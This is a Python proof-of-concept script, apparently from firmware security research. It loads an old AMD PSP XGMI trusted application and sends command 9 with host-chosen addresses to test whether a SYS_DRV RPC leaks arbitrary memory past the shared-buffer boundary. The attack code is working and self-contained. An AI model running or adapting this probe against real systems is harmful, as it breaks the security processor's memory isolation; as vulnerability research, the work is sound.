1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
|
#!/usr/bin/env python3
"""Does XGMI cmd09 give the host an arbitrary read through SYS_DRV 0x1061?
fw/LEAD-XGMI-HOST-DWORD-INTO-SYSDRV-1061-1062.md established the XGMI side and left the
SYS_DRV side unresolved and untested. The shape is:
xgmi_cmd09(ctx, params): params = &local_snapshot.argB
if (*(_DWORD *)params == 0) return 3; # address must be non-zero
v2 = *((unsigned __int8 *)params + 8);
if (v2 != 4 && v2 != 2) return 3; # width in {2,4}
result = xgmi_sysdrv_rpc_1061(a1: *(_DWORD *)params, # host-chosen ADDRESS
a2: (int)params + 4, # destination
a3: v2); # width
and the entry point copies the snapshot back to the host afterwards:
loc_40114C(a1: v8 + 1048, a2: v12.argB, a3: 2056)
`argB` sits at +0x418 = 1048 in the request, so that copy-back lands exactly on the host's own
argB. If 0x1061 reads `width` bytes from the host-chosen address into `params+4`, the host can
read it back at buffer+0x418+4 -- an arbitrary read performed by SYS_DRV, which is outside the
shared-buffer window enforcement that contains TA-side writes.
Only build 32.0.0.20 can reach cmd09: its entry gates `cmd_id <= 0xB && ((1 << cmd_id) & 0xB6F)`,
and 0xB6F has bit 9 set (bits 0,1,2,3,5,6,8,9,11). cmd0A is NOT reachable there, bit 10 is clear.
Method: point the address at a second VRAM allocation holding a magic value. If the magic comes
back in argB+4, the read is arbitrary and host-controlled.
usage: AM_RESET=1 PYTHONPATH=/root/psp/tinygrad xgmi_cmd09_rpc1061_read.py --apply
"""
import argparse
import os
import struct
import subprocess
SHM = 0x2000
ARGB = 0x418
MAGIC = 0xC0FFEE11
PAT = 0x5A5A5A5A
def main():
ap = argparse.ArgumentParser()
ap.add_argument('--apply', action='store_true')
ap.add_argument('--xgmi', default='/root/psp/contall/ta_32-0-0-20_20a3d1a4.bin')
ap.add_argument('--ta-bin', default='/lib/firmware/amdgpu/psp_13_0_0_ta.bin')
args = ap.parse_args()
if not args.apply:
print('dry run')
return 0
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp
def alloc(n):
pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
return pa, adev.paddr2mc(pa)
app_pa, app_mc = alloc(0x80000)
shm_pa, shm_mc = alloc(SHM)
tgt_pa, tgt_mc = alloc(0x1000)
# a magic value in a second allocation, used as the read target
adev.vram.view(tgt_pa, 0x1000)[:] = bytes(struct.pack('<I', MAGIC) * (0x1000 // 4))
adev.gmc.flush_hdp()
print('target buffer: pa=%#x mc=%#x holding %#x' % (tgt_pa, tgt_mc, MAGIC))
def load(blob, ln=SHM):
n = (len(blob) + 3) & ~3
adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob))
adev.gmc.flush_hdp()
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA)
t = c.cmd.cmd_load_ta
t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
t.app_len = len(blob)
t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = shm_mc & 0xFFFFFFFF, shm_mc >> 32
t.cmd_buf_len = ln
try:
r = psp._ring_submit(c)
return r.resp.status & 0xFFFFFFFF, r.resp.session_id
except Exception as e:
try:
return int(str(e).strip().split()[-1]) & 0xFFFFFFFF, None
except Exception:
return -1, None
def unload(sid):
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
c.cmd.cmd_unload_ta.session_id = sid
try:
return psp._ring_submit(c).resp.status & 0xFFFFFFFF
except Exception:
return -1
def invoke(sid, cmd, setup=None):
"""Generic: cmd_id in the buffer and in ta_cmd_id; optional field setup."""
buf = bytearray(struct.pack('<I', PAT) * (SHM // 4))
struct.pack_into('<I', buf, 0x00, cmd)
struct.pack_into('<I', buf, 0x08, 0)
if setup:
setup(buf)
adev.vram.view(shm_pa, SHM)[:] = bytes(buf)
adev.gmc.flush_hdp()
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv = c.cmd.cmd_invoke_cmd
iv.session_id, iv.ta_cmd_id = sid, cmd
try:
st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
except Exception as e:
try:
st = int(str(e).strip().split()[-1]) & 0xFFFFFFFF
except Exception:
st = -1
adev.gmc.flush_hdp()
out = bytes(adev.vram.view(shm_pa, SHM)[:])
return st, struct.unpack_from('<I', out, 8)[0], struct.unpack_from('<I', out, ARGB + 4)[0]
def cmd09(sid, addr, width=4):
buf = bytearray(struct.pack('<I', PAT) * (SHM // 4))
struct.pack_into('<I', buf, 0x00, 9) # cmd_id = 9
struct.pack_into('<I', buf, 0x08, 0) # status
struct.pack_into('<I', buf, ARGB + 0, addr) # the ADDRESS
struct.pack_into('<I', buf, ARGB + 4, 0) # destination, cleared
buf[ARGB + 8] = width # width byte
adev.vram.view(shm_pa, SHM)[:] = bytes(buf)
adev.gmc.flush_hdp()
c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
iv = c.cmd.cmd_invoke_cmd
iv.session_id, iv.ta_cmd_id = sid, 9
try:
st = psp._ring_submit(c).resp.status & 0xFFFFFFFF
except Exception as e:
try:
st = int(str(e).strip().split()[-1]) & 0xFFFFFFFF
except Exception:
st = -1
adev.gmc.flush_hdp()
out = bytes(adev.vram.view(shm_pa, SHM)[:])
return st, struct.unpack_from('<I', out, 8)[0], struct.unpack_from('<I', out, ARGB + 4)[0]
tab = args.ta_bin
if not os.path.exists(tab) and os.path.exists(tab + '.zst'):
subprocess.run(['zstd', '-d', '-f', '-o', '/tmp/ta.bin', tab + '.zst'],
check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
tab = '/tmp/ta.bin'
d = open(tab, 'rb').read()
m = d.find(b'$PS1')
n = struct.unpack_from('<I', d, m - 0x10 + 0x14)[0]
_, wsid = load(d[m - 0x10:m - 0x10 + 0x200 + n])
if wsid is not None:
unload(wsid)
st, sid = load(open(args.xgmi, 'rb').read())
print('XGMI load %#x sid=%s' % (st, sid), flush=True)
if st != 0:
return 1
# cmd00 is the initialiser: it sets *(_BYTE *)ctx = 1, which cmd09 requires.
# the entry copies the host byte at request+0xC into byte_406014 before cmd00, and cmd00
# branches on it, so sweep it.
for u in (0, 1, 2, 0xFF):
def setup(buf, u=u):
buf[0x0C] = u
st, tast, _ = invoke(sid, 0, setup)
print(' cmd00 with unk0C=%#-4x ring=%#-10x ta_status=%#x' % (u, st, tast), flush=True)
if st == -1:
break
if tast == 0:
print(' cmd00 SUCCEEDED -- gate byte should now be set', flush=True)
break
print('\n%-30s %-11s %-11s %s' % ('address', 'ring', 'ta_status', 'argB+4 readback'))
cases = [
('0 (must be rejected: ==0)', 0),
('magic buffer mc lo32', tgt_mc & 0xFFFFFFFF),
('magic buffer mc lo32 +0x40', (tgt_mc + 0x40) & 0xFFFFFFFF),
('garbage 0xDEAD0000', 0xDEAD0000),
]
for name, a in cases:
st, tast, rb = cmd09(sid, a)
flag = ''
if rb == MAGIC:
flag = ' <<< MAGIC LEAKED'
print('%-30s %#-11x %#-11x %#-10x%s' % (name, st, tast, rb, flag), flush=True)
if st == -1:
print(' ring stopped responding; stopping', flush=True)
break
return 0
if __name__ == '__main__':
raise SystemExit(main())
|